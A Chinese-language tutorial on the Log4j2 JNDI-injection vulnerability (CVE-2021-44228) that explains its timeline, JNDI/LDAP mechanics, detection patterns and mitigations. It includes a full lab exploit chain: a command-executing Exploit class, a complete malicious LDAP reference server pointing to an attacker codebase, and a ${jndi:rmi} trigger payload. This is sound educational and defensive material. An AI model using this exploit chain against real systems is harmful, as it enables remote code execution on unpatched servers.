Log4j2相信大家不陌生了~~~哈哈哈哈。
相信大家已经被 Log4j2 的重大漏洞刷屏了。几乎没有互联网公司幸免。
估计有不少开发的小伙伴在此前为了修 bug 已经累趴下了。
估计也有不少安全圈的大佬靠着这个漏洞赚了一辆车或者一栋房~~~
你~~~赶上了吗?
每每出现这种重大漏洞,开发岗的大佬们---苦逼,安全岗的大佬们---过年。哈哈哈哈
今天勒,我们就来聊一下 Log4j2 到底是个什么鬼 ?
目录
二、log4j介绍与漏洞影响(CVE-2021-44228)
2. 为什么要用 log4j 不用System.Out.println()?
1. 什么情况使用log4j、什么情况下使用System.out.println?
1. Exploit.java : javac Exploit java
Log4j远程代码执行漏洞详解
中华人民共和国网络安全法
第二十七条
任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;
不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;
明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。
本文内容仅用于以防御为目的的安全知识分享 !!!
请勿用于其他用途,否则后果自负 !!!
一、时间线
先来聊一下时间线吧。
1、11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。
2、12月4 日开始有在野攻击。
3、2021年12月06日,log4j2 发布修复包 log4j-2.15.0-rc1.jar。
4、9号,多家SRC披露漏洞危害。
5、12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0-rc2 版本。
6、10号凌晨漏洞细节被公开,大量的白帽子去各大SRC提交(赚赏金) ; dnslog平台挤爆
7、由于影响太大,10号上午,各SRC陆续关闭log4j漏洞提交通道
8、各安全厂商纷纷通报,发布临时解决办法
9、苦逼的程序猿开始修复漏洞
10、Apache陆续发布rc1补丁、rc2补丁、 2.15正式版
10号之前,各家 SRC 只是披露漏洞危害,而没有给出详情,apache没有要公开让大家修复漏洞,为什么?
一旦提前给出漏洞详情,漏洞利用太简单了,人人都可以去利用。
apache 公布修复漏洞,立刻就会有人知道这个漏洞的存在,在没有补丁包出现之前是无法公开的。
10号凌晨不知道是谁将漏洞详情公开,凌晨三点直接炸锅。京东在10号凌晨3点立即关闭SRC log4j RCE的提交通道。
10号下午,几乎没有SRC在接收这个漏洞,因为影响是在太大,使用率太高,赏金很难付得起。
rc1补丁包没什么用,依然可以绕过,rc2补丁包才可以解决问题,到了10号晚上才发布2.15正式版。
注意:在官方没有通知大家修复时将漏洞公开是违法的!!!
中国在2021年11月1号开始实现互联网安全产品漏洞管理规定,要求不能再别人公布漏洞之前去发布漏洞信息。
二、log4j介绍与漏洞影响(CVE-2021-44228)
1. 什么是log4j?(log4j)
1. 概念
Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。
最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
简单来说:就是Apache的开源日志记录组件,使用非常广泛。
这次漏洞的是非常严重的,已经被CVE收录,这次漏洞的影响非常的大,也是因为Log4j这个记录的组件使用率非常的高。
2. 在应用程序中输出日志的目的:(传送门)
监视代码中变量的变化情况,把数据周期性记录到文件中供其他应用进行统计分析工作;
跟踪代码运行时轨迹,作为日后审计的依据;
担当集成开发环境中的调试器的作用,向文件和控制台打印代码的调试信息;
3. Log4J主要的三大组件:
Log4j由三个重要的组件构成:日志信息的优先级,日志信息的输出目的地,日志信息的输出格式。日志信息的优先级从高到低有ERROR、WARN、 INFO、DEBUG,分别用来指定这条日志信息的重要程度;日志信息的输出目的地指定了日志将打印到控制台还是文件中;而输出格式则控制了日志信息的显示内容。
Logger:负责生成日志,并能够对日志信息进行分类筛选;
Appender:定义了日志信息输出的目的地,指定日志信息应该被输出到什么地方,这些地方可以是控制台、文件、网络设备等;
Layout:指定日志信息的输出格式;
4. Log4j的基本使用方法:(传送门)
一、定义配置文件
1.配置根Logger
2.配置日志信息输出目的地Appender
3.配置日志信息的格式(布局)
二、在代码中使用Log4j
1.得到记录器
2.读取配置文件
3.插入记录信息(格式化日志信息)
当上两个必要步骤执行完毕,您就可以轻松地使用不同优先级别的日志记录语句插入到您想记录日志的任何地方,语法如下:Logger.debug()
Logger.info()
Logger.warn()
Logger.error()详细实用信息请看传送门,本文以讲漏洞为主。
2. 为什么要用 log4j 不用System.Out.println()?
1、输出信息用于调试,产品上线前需要清除调试信息,需要找到每一个System.Out.println()进行删除,太麻烦了。
2、不同包使用不同格式进行输出,使用log4j更加简单。
3、System.Out.println()切换输出渠道(比如控制台、文件、数据库)会增加代码量。
4、怎么控制文件大小(切割,删除等等)和清理行为,使用System.Out.println()很麻烦。
通过:日志级别、配置文件(进行调节完成上面4个点,很灵活)。
专业的人干专业的事。
3. 关于log4j的几个问题
1. 什么情况使用log4j、什么情况下使用System.out.println?
System.out.println在开发中可以使用,部署项目后用日志文件。最好不要用System.out.println。
2. log4j是否会影响性能?
log4j会拖慢进程响应时间
3. 为什么log4j日志的最高级是error,但error却是"虽然发生错误事件,但仍然不影响系统的继续运行"?
日志有7个等级:
A:off 最高等级,用于关闭所有日志记录。
B:fatal 指出每个严重的错误事件将会导致应用程序的退出。
C:error 指出虽然发生错误事件,但仍然不影响系统的继续运行。
D:warm 表明会出现潜在的错误情形。
E:info 一般和在粗粒度级别上,强调应用程序的运行全程。
F:debug 一般用于细粒度级别上,对调试应用程序非常有帮助。
G:all 最低等级,用于打开所有日志记录。
而log4j建议使用四种:debug、info、warn、error
4. log4j 的文件保存位置?
存放到项目目录下:
${task5.root}/WEB-INF/logs/log.log
5. log4j打印堆栈信息?
log.info("xxx", e)
4. 相关漏洞
有人拿 log4j RCE 漏洞和一些非常出名的漏洞相提并论,都是近几年公布的,影响是非常大的,知道现在参加护网行动,或者挖洞,它们任然可以被利用。
FastJson反序列化
Apache Shiro
永恒之蓝
脏牛漏洞
三、JNDI注入原理
严格来说这个漏洞就是由于JNDI注入引起的,那么什么是JNDI注入呢?
1. 什么是LDAP?(轻型目录访问协议)
LDAP全称:LIGHTWEIGHT DIRECTORY ACCESS Protocol,即轻量级目录访问协议。
可以理解为就是目录服务,那么是什么是目录服务呢 ?
1. 目录服务是什么?(目录服务)
目录服务:Directory Service,
目录服务对于网络的作用就像白页对电话系统的作用一样。
目录服务将有关现实世界中的事物(如人、计算机、打印机等等)的信息存储为具有描述性属性的对象。人们可以使用该服务按名称查找对象或者像使用黄页一样,可使用它们查找服务。
估计还是不好理解,这里举例说明一下:
举例说明:
电话簿:
目录服务就像以前用固定电话的时候,不知道别人的电话号码是多少,不方便联系,所以就有了电话簿。这个电话簿就是目录,包含联系人和电话号码。
对于计算机来说也需要这样一个目录来进行管理。然后就有了LDAP这样一个协议。
2. LDAP:典型应用:统一登陆
1. 需求
公司有很多系统,作为一个员工要登陆公司这么多的系统需要记住很多的账号和密码,非常麻烦。
能不能把所有账号统一起来,我只用一个账号密码就可以登录所有系统 ?
2. 完成需求
使用一个系统存储所有用户信息,就可以解决。
就是利用到了LDAP来存储所有的用户信息。
不管登录什么系统都只需要经过LDAP的验证就可以了。
和SSO有点相似,理解SSO:百度贴吧,百度网盘可以用一个账号去登陆,登录了一个账号,打开其他的也是登陆状态,不需要再次输入密码。
区别:LDAP只是实现了账号的同一,还是要重复的进行密码的验证。
3. LDAP怎么实现 ?
使用厂商服务
厂商 | 产品 | 介绍 |
SUN | SUNONE Directory Server | 基于文本数据库的存储,速度快 |
IBM | IBM Directory Server | 基于DB2的的数据库,速度-般 |
Novell | Novell Directory Server | 基于文本数据库的存储,速度快,不常用到 |
Microsoft | Microsoft Active Directory | 基于WINDOWS系统用户对大数据量处理 速度一般,但维护容易,生态圈大,管理相 对简单 |
Opensource | Opensource | OpenLDAP开源的项目,速度很快,但是 非主流应用 |
2. 什么是JNDI ?(JNDI)
JNDI全称:Java Naming and Directory Interface,即Java命名和目录接口
简单来说:就是命名服务接口,那什么是命名服务接口呢?
1. 什么是命名服务?
命名服务(Naming Service) :用于根据名字找到位置、服务、信息、资源、对象等Key Value。就是名字找资源的一个服务。
2. JNDI基本操作
1、发布服务(名字和资源的映射) : bind()
2、用名字查找资源: lookup()
3. JNDI可以访问的服务
LDAP目录服务、RMI远程方法调用、DNS、XNam、Novell目录服务、CORBA对象服
务、文件系统、Windows、XP/2000/NT/Me/9x的注册表、DSMLv1 &v2、NIS。
3、什么是JNDI注入?
两个关键知识点
1、JNDI动态协议转换
对于lookup方法:
即时初始化的Context指定了一个协议,也会根据URI传入的参数来转换协议。
也就是说:替换lookup里面的协议内容,则会使用修改后的协议。
如下:1改为2或3,就会使用Idap或iiop协议而不会使用rmi协议。
ctx.lookup("rmi://wuya-server/refObj");
//ctx.lookup("ldap://wuya-server/cn= bar,dc=test,dc=org");
//ctx.lookup("iiop://wuya-server/bar' );
JVDI支持自动转换的协议
协议名称 | 协议URL | Context类 |
DNS协议 | dns:// | com.sun.jndi.url.dns.dnsURLContext |
RMI协议 | rmi:// | com.sun.jndi.url.rmi.rmiURLContext |
LDAP协议 | ldap:// | com.sun.jndi.url.Idap.ldapURLContext |
LDAP协议 | ldaps:// | com.sunjndi.ur.ldaps.IdapsURLContextFactory |
IIOP对象请求代理协议 | iiop:// | com.sun.jndi.ur.iiop.iiopURLContext |
IIOP对象请求代理协议 | iiopname:// | com.sun.jndi.url.iioprame.iiopnameURLContextFactory |
IIOP对象请求代理协议 | corbaname:// | com.sun.jndi.url.corbaname.corbanameURLContextFactory |
2、JNDI 命名引用(Naming Reference)
1、在LDAP里面可以存储一个外部的资源,叫做命名引用,对应Reference类。比如远程HTTP服务的一个.class文件。
2、如果JNDI客户端基于LDAP服务,找不到对应的资源,就去指定的地址请求,如果是命名引用,会把这个文件下载到本地。
3、如果下载的.class文件包含无参构造函数或静态方法块,加载的时候会自动执行。
JNDI注入(漏洞)流程
1. 传恶意参数
2. 受害者访问黑客搭建的LDAP服务
3. 受害者请求黑客搭建的服务
4. 下载恶意文件
1、怎么在外网启动一 个LDAP服务?
本地Java代码(打包发到服务器)
marshalsec-0.0.3-SNAPSHOT-all.jar,带参数直接启动
2、怎么在外网启动一个HTTP服务?
Apache、Tomcat、 Nginx、 Phpstud.... .
3、为什么lookup下载一个class文件会自动执行?
NamingManager.getObjectFactoryFromReference()类的clas. newInstance ()方法把class文件实例化了。一实例化了,这个方法会立即执行。
四、自行搭建靶场环境进行复现
漏洞影响范围:2.0 <= Apache log4j <= 2.14.1
简单来说就三步:
1、启动HTTP
2、启动LDAP
3、执行Log4j
1. 环境介绍
1. 开发工具:IDEA
2. 基础环境:JDK一JDK 1.8u121以下的版本一java -version
3. Maven:例如3.6.3 一mvn -version
2. 准备远程代码
1. Exploit.java : javac Exploit java
2. class上传到远程HTTP服务器
Apache. Python SimpleHTTPServer都可以
phpstudy:(Linux,Windows)
XShell:上传文件
import java.io.IOException;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
3. 准备LDAP服务器
1. LDAPRefServer.java:maven依赖 :unboundid-ldapsdk
2. 绑定的端口
3. 配置远程代码的HTTP URL
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
/**
* class地址 用#Exploit代替Exploit.class
*/
private static final String EXPLOIT_CLASS_URL = "http://192.168.142.66:80/#Exploit";
public static void main(String[] args) {
int port = 7912;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Calc");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
4. LDAP客户端(log4i)
maven依赖:2.14.1
版本:Apache Log4j2.x<= 2.14.1
执行代码即可
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Poc {
private static final Logger log = LogManager.getLogger();
public static void main(String[] args) {
log.error("${jndi:rmi://127.0.0.1:1099/xxxx}");
}
}
五、在线环境复现
1. 靶机地址
https://hack.zkaq.cn/battle/target?id=5a768e0ca6938ffd
七、log4j RCE排查方式
1. 影响版本
1. 使用了log4j的组件,并且版本在2.x <= 2.14.1
2. JDK版本小于8u191、7u201、 6u211
2. 受影响组件
应用 | 受影响版本 |
Spring- Boot- strater-log4j2 | 全版本 |
Apache Struts2 | 全版本 |
Apache Solr | 已经在9.0和8.11.1修复 |
Apache Flink | 1.11.0-rc1到1.14.0 |
Apache Druid | 0.7.x以上 |
Alibaba Druid | 1.0.15以及以上 |
ElasticSearch . | 5.x、6.x和7.x |
Logstash | 5.0.0至最新 |
log4j2-redis - appender | 全版本 |
Apache Dubbo | 2.7. x以及3.0.x |
Hadoop Hive | 2. x和3.x |
hadoop hbase | 3.0.0-alpha-1 |
Mycat | 1.6.x |
OpenCms | build_ 11_ 0_ 0_ beta到最新 |
八、修复方式
1. 检测方案
1. 建议企业可以通过流量监测设备监控是否有相关 DNSLog 域名的请求.
2. 建议企业可以通过监测相关流量或者日志中是否存在“jndi:ldap://”、“jndi:rmi”等字符来发现可能的攻击行为。
2. 升级至最新版
目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
3. 采取临时措施
1. 添加jvm启动参数 -Dlog4j2.formatMsgNoLookups=true。
2. 在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true。
3. 设置系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 为 true。
3. 采用 rasp 对lookup的调用进行阻断。
4. JDK使用11.0.1、8u191、7u201、6u211及以上的高版本。
5. 部署使用第三方防火墙产品进行安全防护。
6. 禁止不必要的业务访问外网。
中华人民共和国网络安全法
第二十七条
任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;
不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;
明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。
本文内容仅用于以防御为目的的安全知识分享 !!!
请勿用于其他用途,否则后果自负 !!!
九、专栏分享
每个专栏都在持续更新中~~~
本文到这里就结束了,相信你对 log4j RCE有了更深的理解。
我们下篇文章见 !^.^
参考文章:
Apache Log4j 漏洞(JNDI注入 CVE-2021-44228)_小龙在线-CSDN博客_log4j漏洞复现
(6条消息) 为什么要用Log4j来替代System.out.println_梵高的夏天的博客-CSDN博客
(6条消息) 为什么要用log4j?_随风飘扬-CSDN博客_为什么要用log4j
java中的日志组件-log4j - 十三弦 - 博客园 (cnblogs.com)
我鮳,Log4j2突发重大漏洞,我们也中招了。。_沉默王二-CSDN博客_log4j2漏洞